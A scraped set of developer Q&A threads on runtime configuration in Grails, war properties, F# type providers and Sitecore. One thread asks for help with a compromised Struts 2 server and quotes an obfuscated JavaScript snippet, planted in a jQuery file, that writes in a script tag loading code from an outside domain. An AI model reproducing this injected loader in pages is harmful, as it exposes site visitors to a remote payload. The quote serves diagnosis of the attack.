In Grails 2 we used the "External configuration plugin", which included the method checkNow() for checking and refreshing values from an external config file.
Does it exist a simple approach for doing something similar in Grails 4+? I have seen references to Spring Cloud Config Server, but it seems a bit overkill for me. All I really want to do is be able to (now and then) update a config value in runtime. It could also be purely by a few lines of code, and does not have to originate from changes in the config file. This would avoid having to restart our server for minor changes in config. Thanks!
I'm replying to myself with a ridiculously simple answer: "just change it". Using the console plugin (or any other form of code execution), I can just assign grailsApplication.config.any.property a new value. It won't persist and it won't update any listeners or anything. But it is a glaringly obvious solution that I just assumed wouldn't work due to the getProperty() calls (I interpreted the name as reading from file) and googled discussions about Spring Cloud Config.
So, move on... nothing to see here. Just mild embarrassment :-P
Related
change a config.properties file in a jar / war file in runtime and hotdeploy the changes ?
my requirement is something as follows, we have a "config.properties" in a jar/war file , i have to open the file through a webpage and after the user has made necessary changes to it, i have to update the "config.properties" in jar/war file and hot deploy it. can we achieve this feat ? if so can you please point me to relevant sites/documents so that i can jumpstart on this.
I will strongly recommend your architecht rethink this solution. What you describe should be done through JNDI or a similar technique, not through reloading properties.
Deployments should be considered static - that any given web container allows for magic trickery should not be depended on, and WILL break some day (most likely at the most inconvenient time).
You've got a couple of problems off the top of my head:
ensuring that nothing is holding static references to a java.util.Properties that has previously loaded your config.properties file.
most servlet engines will unpack your war to a working directory so the properties file you load won't be the one in the war, it will be the unpacked one. This means your changes
will be overwritten when you restart the servlet engine because this is typically one of the points the war is unpacked.
While these problems aren't insurmountable I've always found it much easier to implement this sort of behavior by storing the properties in JNDI (as Thorbjørn suggests) or a database (while being careful about the static references I mentioned in point 1).
The JNDI/database solution has the nice side effect of easing deployment into multiple environments because each typically has it's own registry/database.
Even that I agree with the comments explained before, I could suggest one solution:
Apache Commons Configuration extension gives you the posibility to do something like:
config.setReloadingStrategy(new FileChangedReloadingStrategy());
That could make the trick to change the configuration file on a runtime basis with no code at all.
However, like JNDI and other methods of web application configuration, the security is a concern. Be careful on which parameters you can/must be able to configure.
been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.
This is a (actually it is several) follow-up question to my previous question on F# Type Providers and Continuous Integration.
It seems to me that it would be a good idea to use the SqlDataConnection type provider as a compile-time check that the code/database integrity remains intact in feature-branch driven development; you would know at every commit/build that no changes have been made to the code that has not also been applied to the database, assuming that building the database is also a part of your CI process.
However, a couple of questions arise:
The name (as well as the location) of the config file is not the same at compile time as at runtime, e.g. app.config -> MyApp.exe.config, which will result in a runtime error if you try to use
SqlDataConnection<ConnectionStringName="DbConnection", ConfigFile="app.config">
(Actually, specifying ConfigFile="app.config" is not necessary, since it is the default value.)
The runtime error can be avoided by copying the app.config file to the output directory (there’s a setting for that), but that would result in having both an app.config and a MyApp.exe.config file in the output directory. Not very pretty. Adding a separate configuration file for type providers would be another solution, but imho that’s not very pretty either.
Question: Has anyone come up with a more elegant solution to this problem?
The next problem arises when you come to the build server. It is most likely that you don’t want to compile against the same database as you did while developing, thus requiring a different connection string. And yes, in production you’d need yet another one.
Question: How do you go about solving this in the most convenient way? Remember, the solution has to be a working part of a CI process!
This strategy would require generating the database on each build at the build server, probably from a baseline script with some feature/sprint update scripts.
Question: Has anyone tried this and how did it affect build times? If yes, how did you create this step?
At runtime you can use the GetDataContext overload that accepts a connection string. See here: Providing connection string to Linq-To-Sql data provider
I am familiar with the solution that #Gustavo proposes, but I’ve always felt that there is something fishy about it. Something about having to specify the connection string twice… However, when I once again got the same reply, I slowly started to realize that the answer must be correct, and that it’s me who’s thinking wrong. These are my conclusions:
The reply states that you can use the GetDataContext overload that accepts a connection string. If you change this to should, things become clearer, at least to me.
The thing is that I’ve been thinking of the class definition as both a compile-time directive and as a run-time variable, but even though this is possible, it is hardly a good idea. The default value of the ConfigFile argument is as we’ve already seen “app.config”, but that file doesn’t exist (with that name) at run-time, so it doesn’t make sense to try to use it, thus leaving GetDataContext as the only reasonable option. I suggest that you do this:
Keep your compile-time settings in a file called compilation.config (or whatever you prefer) and specify this file for usage in the class definition.
Use the GetDataContext overload that accepts a connection string for run-time resolution and specify this connection string in the app.config file.
You will end up with something looking like this:
type private dbSchema = SqlEntityConnection<ConnectionStringName="DbConnection", ConfigFile="compilation.config">
let private db = dbSchema.GetDataContext(ConfigurationManager.ConnectionStrings.["DbConnection"].ConnectionString)
Heck, this even supports the SRP; compile-time settings in one file and run-time settings in another!
Regarding the rest of my questions, I assume that the answer lies in some scripting in the Continuous Deployment pipeline. Still interested in other solutions though.
We have four different environments - dev VMs, dev, QA and prod. All environments have the following setting for the "website" site:
<site name="website" virtualFolder="/" physicalFolder="/"
rootPath="/sitecore/content" startItem="/home" database="master"
domain="extranet" allowDebug="true" cacheHtml="false"
htmlCacheSize="10MB" registryCacheSize="0" viewStateCacheSize="0"
xslCacheSize="5MB" filteredItemsCacheSize="2MB" enablePreview="true"
enableWebEdit="true" enableDebugger="true"
disableClientData="false" loginPage="/" hostName="www.site.com"
enableFallback="true" enforceVersionPresence="true"/>.
So on VM and prod, www.site.com/en/home/press and www.site.com/en/press work.
But on dev and QA, www.site.com/en/home/press works but www.site.com/en/press doesn't work. (Works with startItem but gets a 404 without it).
This is happening with ISAPI enabled and disabled both (no exceptions).
I am not sure what is going on here or where else to look except to make sure that my start item is in good shape which it seems to be.
What can I do to resolve this? If you need more information please let me know.
Thanks
Try looking at the:
"linkManager" tag in the web.config, there is a property called:
languageEmbedding: asNeeded | always | never
which could be set differently on those solutiuons.
If you have Multi-Language website it is recommended to go with
languageEmbedding: always
Advantages :
Some time in IE8 the Language cookie is destroyed, because of that
the language displayed is change randomly.(We have faced this issue
in our environment) LanguageEmbadding : Always will keep the Information and will work without any Issue.
If you have set asNeeded then First time the Language will be displayed and next time onward it will be hidden. But this will create issue with Google Analytics. In GA you will have 2 diff URL with same page content so your analysis will be unnecessarily divided in to 2 pages.
And Yes you can check if there is any difference is Config files. As Mentioned by Martijn you can use the www.site.com/sitecore/admin/showconfig.aspx Copy the Config, compare it using any file compare tool like WinMerge etc.
What is the Hierarchy in your project?
Sitecore-Content-home-Press or
Sitecore-Content-home-Home-Press?
In my project the setting you have mentioned has database = web.
I can't add a comment, but as Martijn says you need to compare the configs. Now this should be very easy since you should be using config include files and so the changes between the environments should be very minimal. If you are not using them then you should start using them, it makes life much easier to figure out the differences from default Sitecore installation and will also make your upgrades much easier in the future. Or maybe you are using them for the other environments and that is what is causing the issue?
All About web.config Include Files with the Sitecore ASP.NET CMS
As for comparing the configs, use a file comparison tool like WinMerge as already metioned, that should weed out the differences much more easily.
Also, as Maulik says, default config has: database="web" content="master"
This seems like config differences. Compare the live configs by using www.site.com/sitecore/admin/showconfig.aspx. This way you can see the actual config which also includes all your /app_config/include/ files
I'm investigating Grails vs. other Agile web frameworks, and one key use case I'm trying to support is the ability to modify controllers and install plugins post deployment. It appears that this isn't possible with Grails, but I want to make sure before I write it off.
As far as modifying controllers goes, it would be sufficient if the Groovlet behavior existed (compile-on-demand).
As far as plugin installs go, I understand this may be a long shot, but I thought I'd check to be sure.
For your information, I need this because I work on a product that requires a little site-specific customization, such as adding validation of simple meta-data, integrating with customer security environments, and maybe even including new controllers/pages quickly.
Out of the box, no, grails doesn't really support what you want. There may be ways to customize it but I've never looked into it. A PHP framework might be more of your ally since there is no real deployment process other than copying PHP files to a location.
That said, I personally would prefer a strict set of deployment policies. And honestly, deploying changes with Grails is as simple as running the 'grails war' command and copying that war to your servlet container. The site's downtime is negligible and if you have multiple web servers with a load-balancer, your customers should never see down time due to deployments.
Although it's not recommended for complex coding; You could execute groovy code from a string that you could store in database or a file on the fly at run time:
check out Groovy template engine:
http://groovy.codehaus.org/Groovy+Templates
but even then, you are still limited on what you can do or can't do let alone debugging will lack. you may want to consider an interpreted language; few to mention PHP/Perl/Coldfusion.